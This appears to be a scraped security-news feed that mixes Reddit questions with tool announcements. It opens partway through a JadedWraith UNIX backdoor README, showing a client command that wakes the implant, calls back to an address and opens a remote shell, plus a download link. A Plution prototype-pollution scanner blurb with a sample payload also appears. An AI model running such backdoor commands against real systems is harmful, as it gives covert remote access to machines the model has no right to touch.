USER TTY LOGIN@ IDLE JCPU PCPU WHAT
>> ps -ef
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 11:20 ? 00:00:01 /usr/lib/systemd/systemd --switched-root --system --deserialize 31
>> .exit
$ sudo ./wraith-client.py 127.0.0.1 --callback 192.168.100.224 -k 1deeb4a64440b8d13c84a8eb4e7c4453 -P y00nrnwpwXdvPOXSS6K0r7LelFeCBvKx91Oj0s5BrnLyx1WR shell
[+] sent ICMP wake up command to 127.0.0.1
[*] backdoor will c onnect to port 37943
[*] listening on port 37943
[+] accepted connection!
[*] entering interactive shell
>>

Bugs
I'm sure this has plenty of bugs. Let me know if you find any. I wrote this over a few days and the code isn't my proudest. Feel free to report any issues and I'll try to fix them.

Download JadedWraith (https://github.com/phath0m/JadedWraith)

___________________________
@hacking_Attack
@Hacking_Video

Handwritten enumeration anyone?
https://www.reddit.com/r/Pentesting/comments/pw3oj8/handwritten_enumeration_anyone/

submitted by /u/I_AM_ALWAYS_ANGRY (https://www.reddit.com/user/I_AM_ALWAYS_ANGRY)
[link] (https://www.reddit.com/r/hackthebox/comments/pw3gic/handwritten_enumeration_anyone/) [comments] (https://www.reddit.com/r/Pentesting/comments/pw3oj8/handwritten_enumeration_anyone/)

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
JadedWraith - Light-weight UNIX Backdoor

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
An Indonesian local government website had been hacked by some crazies and then posted a threat to bomb/explode the Chinese embassy in Jakarta.

submitted by /u/reddit-mailinator
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How do I get the real physical MAC address of an iPhone?

How do I get the real physical MAC address of an iPhone from Kali (from Linux or Kali)?

The one I obtain with nmap is not the real physical MAC address. It's a "private" software MAC address, as described here: https://support.apple.com/en-gb/HT211949.

submitted by /u/hwoodice
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How long should I be learning hacking until I do my first bug bounty?

Hi, I've been learning hacking for a week or so, I know this is probably a short time to do anything really, but I'm still curious how long will it take me to hit my first bug bounty?

submitted by /u/darkocvet1
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Hello there:)

So i have a question. When i am around town or at a coffee shop. I hate it when they block all theses websites. And some vpns dont work. Is there anyway on windows i can create an exit node for my ipad to go to my computer (windows 10, can do virtual machine) to my home wifi then my computer sends it back to me so i dont have to go though stupid restricted wifi?

Cheers

submitted by /u/Jps1002331
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Hi all. I have an idea.

For the five people who are going to read this, I want to share an idea. If you are interested in something unique that will fetch money. Dm me.

submitted by /u/Life_Loan_931
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Plution : Prototype Pollution Scanner Using Headless Chrome

Plution is a convenient way to scan at scale for pages that are vulnerable to client side prototype pollution via a URL payload. In the default configuration, it will use a hardcoded payload that can detect 11 of the cases documented here: https://github.com/BlackFan/client-side-prototype-pollution/tree/master/pp

What This Is Not

This is not a one stop shop. Prototype pollution is a complicated beast. This tool does nothing you couldn’t do manually. This is not a polished bug-free super tool. It is functional but poorly coded and to be considered alpha at best.

How It Works

Plution appends a payload to supplied URLs, naviguates to each URL with headless chrome and runs javascript on the page to verify if a prototype was successfully polluted.

How It Is Used

* Basic scan, output only to screen:
cat URLs.txt | plution
* Scan with a supplied payload rather than hardcoded one:
cat URLs.txt|plution -p '__proto__.zzzc=example'
Note on custom payloads: The variable you are hoping to inject must be called or render to “zzzc”. This is because ‘window.zzzc’ will be run on each page to verify pollution.
* Output:
Passing '-o' followed by a location will output only URLs of pages that were successfully polluted.
* Concurrency:
* Pass the '-c' option to specify how many concurrent jobs are run (default is 5)
Download

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
I don't know where to ask but maybe you guys have an idea... am I being watched through my laptop camera?

I was in the shower and my little sister was watching a show on my laptop. Randomly the green camera light turned on. She acknowledged it and was like "wtf" while looking closer, then it turned off. I never had photo booth or facetime open. Later on my computer made a weird almost glitch noise. I've had paranoid feelings I'm being watched but this makes it 100x worse. I put a sticker over my camera lense but I don't know what to do........ help

submitted by /u/Competitive-Ad5943
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Details of 106M Travellers to Thailand Exposed Following Data Breach

https://external-preview.redd.it/RRhybRlrGwP2iOT_VXOea-J2qymIsHZVN11mE4rsp08.jpg?width=640&crop=smart&auto=webp&s=e0912365ea37794ce16e6e5f5d18287e8f3fe640 submitted by /u/george-alexander2k
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Is getting a VPN really worth it?

I’m confused by advertisements and people praising VPN services, but then hearing tech experts trashing some VPNs. What do you guys think?

submitted by /u/franfonse
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Exploit code for three iOS 15 zero-day flaws published

https://external-preview.redd.it/Nh8a6mOauM7Jy5J9P7GAEJSXUfUqDGH5Y0JEXtOzz0o.jpg?width=640&crop=smart&auto=webp&s=b1ab7cc254c327e04844f59b23ab11c2a234f40b submitted by /u/okhotspy
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Manufacturer Leaving WiFi Key on New PC?

Hey,

I am not sure if this is the right forum for this--apologize if not--but I'm not sure what to make of this question I was asked.

A friend just got a new computer this week from a company we've all heard of before. She has only had it for a couple of days. While trying to remember the password to a wifi hotspot she connected to, she entered netsh wlan show profile (or whatever the command is) to see the name of the hotspot so she could do a key=clear.

After running the command, she noticed there was a profile of the name of the company. After running key=clear, it revealed that profile had a 9 digit key.

Questions:

1) Is this a normal thing? I've never noticed it before on any of my devices.
2) Are there any other security concerns (hardware or otherwise) that should be audited as a result of this

3) What--if any--use would this information be to anyone

​

That's it. Thanks for reading, and looking onward to reading the comments

submitted by /u/5kidmark2
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Host Header Injection On Password Reset Functionality An Easy #P2
https://medium.com/@tameemkhalid786/host-header-injection-on-password-reset-functionality-an-easy-p2-5c6263c2e3d4?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

This article is about a vulnerability I was able to find in the BugCrowd private program.Continue reading on Medium » (https://medium.com/@tameemkhalid786/host-header-injection-on-password-reset-functionality-an-easy-p2-5c6263c2e3d4?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video